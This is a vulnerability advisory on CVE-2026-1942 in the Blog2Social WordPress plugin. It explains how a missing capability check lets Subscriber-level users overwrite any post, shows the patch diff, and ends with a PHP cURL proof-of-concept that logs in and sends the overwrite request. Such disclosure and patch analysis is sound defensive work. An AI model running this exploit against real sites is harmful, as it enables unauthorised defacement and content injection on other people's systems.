Atomic Edge analysis of CVE-2026-1942:
This vulnerability is a Missing Authorization flaw in the Blog2Social WordPress plugin. It allows authenticated users with Subscriber-level permissions or higher to arbitrarily modify the title and content of any post or page. The vulnerability stems from insufficient capability checks in the plugin’s AJAX handler for the curation draft functionality.
Atomic Edge research identified the root cause in the `curationDraft()` function within `/blog2social/includes/Ajax/Post.php`. The function only performed a generic `current_user_can(‘read’)` check, which all authenticated users pass. It did not validate if the user possessed the specific `edit_post` capability for the target post ID supplied via the `b2s-draft-id` POST parameter. This missing capability check, combined with the plugin’s UI and nonce exposure to low-privileged roles, created the authorization bypass.
Exploitation requires an authenticated attacker with at least Subscriber access. The attacker sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `b2s_curation_draft`. The request must include a valid WordPress nonce (exposed to all roles) and the `b2s-draft-id` parameter set to the ID of the target post. Additional parameters like `title` and `content` contain the malicious payload to overwrite the existing post data.
The patch adds two critical authorization checks. First, it verifies the user has the general `edit_posts` capability. Second, if a `b2s-draft-id` parameter is present, it performs a specific `current_user_can(‘edit_post’, (int) $_POST[‘b2s-draft-id’])` check. This ensures the user has permission to edit the exact post they are targeting. The patch was applied to both the `curationDraft()` function and another similar function in the same file for consistency.
Successful exploitation allows a low-privileged user to deface or corrupt any post or page on the WordPress site. This can lead to content loss, site vandalism, injection of malicious content, or SEO poisoning. The vulnerability does not directly grant administrative privileges but enables unauthorized modification of core site content, impacting integrity and availability.
--- a/blog2social/blog2social.php
+++ b/blog2social/blog2social.php
@@ -6,7 +6,7 @@
* Author: Blog2Social, miaadenion
* Text Domain: blog2social
* Domain Path: /languages
- * Version: 8.7.4
+ * Version: 8.7.5
* Requires at least: 6.2
* Requires PHP: 7.4
* Tested up to: 6.9
@@ -18,7 +18,7 @@
* @phpcs:disable WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound, WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedFunctionFound
*/
-define('B2S_PLUGIN_VERSION', '874');
+define('B2S_PLUGIN_VERSION', '875');
define('B2S_PLUGIN_LANGUAGE', serialize(array('de_DE', 'en_US')));
define('B2S_PLUGIN_DIR', plugin_dir_path(__FILE__));
define('B2S_PLUGIN_URL', plugin_dir_url(__FILE__));
--- a/blog2social/includes/Ajax/Post.php
+++ b/blog2social/includes/Ajax/Post.php
@@ -162,6 +162,19 @@
wp_die();
}
+ // JM 2026/02/12 Security Patch. Check if a user can edit the post, as this action leads to an insert/update in wp_posts
+ if(!current_user_can('edit_posts')){
+ echo wp_json_encode(array('result' => false,'error' => 'permission'));
+ wp_die();
+ }
+
+ if (isset($_POST['b2s-draft-id']) && !empty($_POST['b2s-draft-id'])) {
+ if (!current_user_can('edit_post', (int) $_POST['b2s-draft-id'])) {
+ echo wp_json_encode(array('result' => false,'error' => 'permission'));
+ wp_die();
+ }
+ }
+
//save as blog post
if (isset($_POST['postFormat'])) {
if ((int) $_POST['postFormat'] == 1) { //Imagepost
@@ -531,8 +544,11 @@
echo wp_json_encode(array('result' => false, 'error' => 'nonce'));
wp_die();
}
-
// JM 2026/02/05 Security Patch. Check if a user can edit the post, as this action leads to an insert/update in wp_posts
+ if(!current_user_can('edit_posts')){
+ echo wp_json_encode(array('result' => false,'error' => 'permission'));
+ wp_die();
+ }
if (isset($_POST['b2s-draft-id']) && !empty($_POST['b2s-draft-id'])) {
if (!current_user_can('edit_post', (int) $_POST['b2s-draft-id'])) {
echo wp_json_encode(array('result' => false,'error' => 'permission'));
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1942 - Blog2Social: Social Media Auto Post & Scheduler <= 8.7.4 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Post Modification
<?php
$target_url = 'https://vulnerable-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$target_post_id = 123; // ID of the post to overwrite
$malicious_title = 'Hacked Post Title';
$malicious_content = '<p>This post content was overwritten via CVE-2026-1942.</p>';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
// Extract a valid nonce from the Blog2Social curation page (exposed to all roles)
// The nonce is typically found in the page source under a variable like 'b2s_curation_nonce'
// For this PoC, we assume the attacker has obtained a valid nonce via a prior request.
$b2s_nonce = 'EXTRACTED_NONCE_HERE'; // Replace with a nonce extracted from the UI
// Craft the exploit payload for the b2s_curation_draft AJAX action
$exploit_payload = array(
'action' => 'b2s_curation_draft',
'b2s-draft-id' => $target_post_id,
'title' => $malicious_title,
'content' => $malicious_content,
'b2s_curation_nonce' => $b2s_nonce
);
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, $exploit_payload);
$ajax_response = curl_exec($ch);
curl_close($ch);
echo "Exploit attempt completed. Response:n";
echo $ajax_response;
?>
